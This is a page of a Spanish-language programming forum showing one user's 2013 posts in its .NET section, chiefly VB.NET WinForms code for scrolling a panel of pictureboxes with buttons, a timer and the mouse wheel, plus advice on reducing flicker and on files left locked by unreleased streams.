  11.     End Sub
  12.  
  13.     Private Sub Listas_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _
  14.                                                                               ListaTime1.SelectedIndexChanged, _
  15.                                                                               ListaTime2.SelectedIndexChanged
  16.         Select Case sender.SelectedIndex
  17.             Case 0 : MsgBox(sender.SelectedItem)
  18.             Case 1 : MsgBox(sender.SelectedItem)
  19.             Case 2 : MsgBox(sender.SelectedItem)
  20.             Case Else
  21.         End Select
  22.  
  23.     End Sub
  24.  
  25. End Class

Salu2
8947  Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes? en: 1 Junio 2013, 17:53 pm
Ahora que leo ese último comentario, se me olvidó pasarte el form del video xD:

Añade en el form:
1 un panel y métele pictureboxes
1 botón para scrollear hacia arriba
1 botón apra scrollear hacia abajo

Código
  1. Public Class Form1
  2.  
  3.     Dim Scroll_Position As Int32 = 0
  4.     Dim Button_Down_Is_Pressed As Boolean = False
  5.     Dim Button_Up_Is_Pressed As Boolean = False
  6.     Dim WithEvents Progressive_Scroll_Timer As New Timer
  7.     Dim SmallChange As Int32 = 5
  8.     Dim Largechange As Int32 = 10
  9.  
  10.     ' Sub which reduces the Flickering, but this sub makes x20 times slower any operation of any Form/Application.
  11.     Protected Overrides ReadOnly Property CreateParams() As CreateParams
  12.         Get
  13.             Dim cp As CreateParams = MyBase.CreateParams
  14.             cp.ExStyle = cp.ExStyle Or &H2000000
  15.             Return cp
  16.         End Get
  17.     End Property 'CreateParams
  18.  
  19.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  20.         Me.ResumeLayout(False)
  21.         Panel1.ResumeLayout(False)
  22.  
  23.         Panel1.VerticalScroll.Maximum = 999999999
  24.         Progressive_Scroll_Timer.Interval = 50
  25.         Panel1.BackColor = Color.FromArgb(150, 0, 0, 0)
  26.     End Sub
  27.  
  28.     Private Sub Panel_MouseHover(sender As Object, e As EventArgs) Handles Panel1.MouseHover
  29.         sender.focus()
  30.     End Sub
  31.  
  32.     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Progressive_Scroll_Timer.Tick
  33.         If Button_Down_Is_Pressed Then
  34.             Scroll_Down(SmallChange)
  35.         ElseIf Button_Up_Is_Pressed Then
  36.             Scroll_Up(SmallChange)
  37.         Else
  38.             sender.stop()
  39.         End If
  40.     End Sub
  41.  
  42.     Private Sub Scroll_Up(ByVal Change As Int32)
  43.         Scroll_Position -= Change
  44.         Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position += Change : End Try
  45.     End Sub
  46.  
  47.     Private Sub Scroll_Down(ByVal Change As Int32)
  48.         Scroll_Position += Change
  49.         Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position -= Change : End Try
  50.     End Sub
  51.  
  52.     Private Sub Button_Down_MouseDown(sender As Object, e As MouseEventArgs) Handles Button2.MouseDown
  53.         If e.Button = Windows.Forms.MouseButtons.Left Then
  54.             Button_Down_Is_Pressed = True
  55.             Progressive_Scroll_Timer.Start()
  56.         End If
  57.     End Sub
  58.  
  59.     Private Sub Button_Up_MouseDown(sender As Object, e As MouseEventArgs) Handles Button1.MouseDown
  60.         If e.Button = Windows.Forms.MouseButtons.Left Then
  61.             Button_Up_Is_Pressed = True
  62.             Progressive_Scroll_Timer.Start()
  63.         End If
  64.     End Sub
  65.  
  66.     Private Sub Button_Down_MouseUp(sender As Object, e As MouseEventArgs) Handles Button2.MouseUp
  67.         Button_Down_Is_Pressed = False
  68.     End Sub
  69.  
  70.     Private Sub Button_Up_MouseUp(sender As Object, e As MouseEventArgs) Handles Button1.MouseUp
  71.         Button_Up_Is_Pressed = False
  72.     End Sub
  73.  
  74.     Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles Panel1.MouseWheel
  75.         If Panel1.Focused Then
  76.             Select Case Math.Sign(e.Delta)
  77.                 Case Is > 0 : Scroll_Up(Largechange)
  78.                 Case Is < 0 : Scroll_Down(Largechange)
  79.             End Select
  80.         End If
  81.     End Sub
  82.  
  83. End Class

salu2
8948  Programación / .NET (C#, VB.NET, ASP) / Re: no puedo borrar pdf recien creado en vb.net en: 1 Junio 2013, 09:54 am
Cita de: cbr20 en 31 Mayo 2013, 19:10 pm
Archivo1 y 2 estan siendo utilizados por otro.

No se quien estara usandolos si ya ha terminado el metodo de union de pdf.

Te has dejado algún objeto sin liberar y es quien "está usando" los archivos, pues los mantiene abiertos en modo de lectura o escritura, ya séa un streamreader, streamwritter, stringbuilder, o lo que hayas usado en tu code para realizar "X" operación.

Como ya te han dicho... si no muestras el código poco se puede hacer, pero vamos, el problema es ese, un objeto sin cerrar/liberar, pongo la mano en el fuego al 100%, la excepción que comentas lo provoca eso, así que con que le heches un repaso a tu código para añadir los "end using" o en su defecto ".close"/".dispose" debería ser más que suficiente.

Salu2!
8949  Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes? en: 31 Mayo 2013, 23:09 pm
Tienes razón Kubox, yo siempre digo que para trabajar con transparencias hay que usar WPF y para lo del Flickering también, pero tooodo cambia en WPF, se me hace complejo, el hecho de crear un proyecto en WPF, aprender XAML, asimilar el hecho de volver a aprender todo lo que llevo aprendido en WindowsForms para poder "trasladarlo" a la sintaxis y los métodos de WPF... No me motiva nada, más bien me desespera.

Recuerdo una vez, no hace mucho, intenté usar un código de un WF en un WPF, para ello necesitaba un timer, y no hay timer en WPF, sé que puedo buscar el equivalente de un Timer en un WPF, pero es que diréctamente cerré el proyecto y me olvidé, porque para cada cosa voy a tener que ir buscando su equivalente y cambiar cada pequeña cosa, se me queda muy grande WPF.

Gracias por tu consejo Kubox




@Seazoux
Cita de: Seazoux en 31 Mayo 2013, 22:55 pm
Y se puede hacer que vaya imagen por imagen en vez de un Scroll fluido? :silbar:

Usé un timer para el scroll progresivo, perféctamente se puede hacer "imágen por imágen", lo que te permita tu imaginación (verticalscrollbar.value = )xD

Saludos
8950  Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes? en: 31 Mayo 2013, 22:23 pm
Es bastante fácil, mira:

1.Como contenedor usa un panel.

2.Metes dentro los pictureboxes que quieras (preferiblemente añádelos en tiempo de ejecución, porque si tienes que meter 30 o 50 pictureboxes... se te va a quedar pequeña la pantalla para agrandar el panel e ir metiendoles desde el designer xD)

3. Y ya el resto es símplemente usar las scrollbar del panel "Panel1.VerticalScroll." (Aunque no las tengas activas ni estén visibles, puedes usarlas para scrollear).

Puedes capturar la rueda del botón en el evento "Panel1.MouseWheel" de la forma que ya has visto en uno de mis codes,
Y si quieres hacer medio transparente el panel es suficiente con que uses un color ARGB, donde la A es el canal Alpha (transparencia), el valor máximo es 255, si lo pones a 125 pues el panel se verá al 50% de transparencia.


Es una versión barata, te puede dar algunos problemas de Flickering (parpadeos) como se puede apreciar en el vídeo, me gustaría saber evitar los problemas de flickering, pero esto es WindowsForms y creeme que he preguntado a 1.000 expertos y nadie tiene la respuesta xD, es lo que hay.

PD: ¿Esperabas un code?  >:D

Saludos
Páginas: 1 ... 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 [895] 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 ... 1236
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines